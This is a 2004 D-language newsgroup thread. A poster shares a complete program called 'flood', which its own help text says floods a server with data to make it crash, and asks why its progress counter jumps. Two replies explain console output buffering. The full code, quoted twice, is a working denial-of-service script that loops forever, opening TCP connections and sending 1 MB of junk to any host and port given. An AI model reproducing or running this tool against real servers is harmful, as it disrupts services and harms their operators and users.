• kinghajj <kinghajj_member pathlink.com> Jun 17 2004
• "Vathix" <vathixSpamFix dprogramming.com> Jun 17 2004
• Oskar Linde <d98-oliRE.MO.VE nada.kth.se> Jun 17 2004

kinghajj <kinghajj_member pathlink.com> writes:

Here's my code:

import std.socket;
import std.string;

char[] fill_string(int l)
{
char[] string;
string.length = l;

for(int i = 0;i < l;i++)
{
string[i] = 0x01;
}
return string;
}

int main(char[][] args)
{
char[] servername;
int port;	

if(args.length == 3)
{
servername = args[1];
port = atoi(args[2]);
}
else if(args.length == 2 && args[1] == "-help" || args[1] == "--help" || args[1]
== "-h")
{
printf("flood\nby King Hajj\n\n");
printf("floods a server with crap, hopefully causing it to crash.\n");
return 0;
}
else
{
printf("usage: flood server port\n");
return 0;
}

char[] meg = fill_string(1024*1024);

for(int i = 1;;i++)
{
InternetHost ih = new InternetHost;
ih.getHostByName(servername);
InternetAddress ia = new InternetAddress(ih.addrList[0], port);
TcpSocket sock = new TcpSocket;
sock.connect(ia);

sock.send(meg);
printf("\rSent %i megs to %.*s at port %i", i, servername, port);
sock.close();
}
return 0;
}

When I run it, instead of updating the megs every time 'i' goes up, it pauses
for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64). Does
anybody know why it does this?

I'm running on Linux (if that helps), using DMD 0.90

"Vathix" <vathixSpamFix dprogramming.com> writes:

"kinghajj" <kinghajj_member pathlink.com> wrote in message
news:carjkd$1s7$1 digitaldaemon.com...
 Here's my code:

 import std.socket;
 import std.string;

 char[] fill_string(int l)
 {
 char[] string;
 string.length = l;

 for(int i = 0;i < l;i++)
 {
 string[i] = 0x01;
 }
 return string;
 }

 int main(char[][] args)
 {
 char[] servername;
 int port;

 if(args.length == 3)
 {
 servername = args[1];
 port = atoi(args[2]);
 }
 else if(args.length == 2 && args[1] == "-help" || args[1] == "--help" ||


 == "-h")
 {
 printf("flood\nby King Hajj\n\n");
 printf("floods a server with crap, hopefully causing it to crash.\n");
 return 0;
 }
 else
 {
 printf("usage: flood server port\n");
 return 0;
 }

 char[] meg = fill_string(1024*1024);

 for(int i = 1;;i++)
 {
 InternetHost ih = new InternetHost;
 ih.getHostByName(servername);
 InternetAddress ia = new InternetAddress(ih.addrList[0], port);
 TcpSocket sock = new TcpSocket;
 sock.connect(ia);

 sock.send(meg);
 printf("\rSent %i megs to %.*s at port %i", i, servername, port);
 sock.close();
 }
 return 0;
 }

 When I run it, instead of updating the megs every time 'i' goes up, it


 for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64).


 anybody know why it does this?

 I'm running on Linux (if that helps), using DMD 0.90


Works fine for me. Are you sure it isn't updating so fast that you just
don't see some of the numbers? Try it with \n instead of \r.

Oskar Linde <d98-oliRE.MO.VE nada.kth.se> writes:

kinghajj wrote:

 When I run it, instead of updating the megs every time 'i' goes up, it pauses
 for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64). Does
 anybody know why it does this?
 
 I'm running on Linux (if that helps), using DMD 0.90


My guess is that this is because the Linux console won't update the 
output until either the output buffer fills up, it reaches a \n or it is 
waiting for input from stdin. Adding an equivalent to fflush(stdout); 
after the printf will force the buffer contents to be printed.

/Oskar